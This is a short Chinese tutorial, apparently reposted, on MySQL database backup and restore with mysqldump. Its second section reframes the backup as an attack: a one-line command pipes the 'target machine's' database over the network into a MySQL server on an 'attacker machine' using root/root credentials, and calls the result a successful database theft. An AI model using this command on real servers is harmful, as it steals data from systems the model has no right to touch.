如何进行数据库备份


1.将数据库,表,导出到本机
在命令行中转到mysql的bin目录下
输入命令:mysqldump -u root -p sqltest > D:\data.txt
然后再输入密码

 

然后就会成功导出到D:盘目录下

 

2.导出到其他主机上(必须开启mysql外链,注意:攻击机和目标机都要开启mysql外链)
在目标机上输入导出数据库的命令
mysqldump --default-character-set=utf8mb4 --host=192.168.0.102 -uroot -proot --opt sqltest | mysql --host=192.168.61.129 -uroot -proot --default-character-set=utf8mb4 -C daochu

 

Ps:解释一下,它是把目标机上(192.168.0.102)的'sqltest'数据库导出到攻击机(192.168.61.129)的'daochu'这个数据库中

结果:成功完成了'脱裤'

 

 

3.将备份的数据导入到mysql数据库中

如果你需要将备份的数据库导入到MySQL服务器中,可以使用以下命令,使用以下命令你需要确认数据库已经创建:

mysql -u root -p database_name < dump.txt
password *****


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM